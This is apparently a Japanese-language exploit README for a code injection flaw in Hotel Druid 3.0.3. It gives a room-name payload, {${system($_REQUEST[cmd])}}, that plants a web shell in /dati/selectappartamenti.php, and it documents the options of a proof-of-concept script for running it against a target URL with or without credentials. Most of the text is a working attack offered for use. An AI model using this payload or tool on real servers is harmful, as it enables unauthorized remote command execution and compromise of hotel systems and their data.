
Hotel Druid 3.0.3 コードインジェクションからリモートコード実行へ
Hotel Druid v3.0.3 アプリケーションにコードインジェクションの脆弱性が発見されました。攻撃者はこれを悪用してサーバ上でリモートコードを実行できる可能性があります。
本脆弱性を悪用するには、攻撃者が新しい部屋を追加する権限を持っている必要があります。
この脆弱性は、部屋名が /dati/selectappartamenti.php というファイルに ダブルクォート を用いて格納されるために発生します。
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
正常に悪用するには、以下のペイロードを部屋名として新しい部屋を追加してください。
{${system($_REQUEST[cmd])}}
新しい部屋を追加した後、/dati/selectappartamenti.php にアクセスし、cmd パラメータを使ってコマンドを渡してウェブシェルを起動します。
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
アプリケーションに認証がない場合、--noauth フラグを使用して認証なしで実行します。

サーバで認証が有効になっている場合は、--username と --password を使用して認証を行います。

研究者兼POC作成者 - 0z09e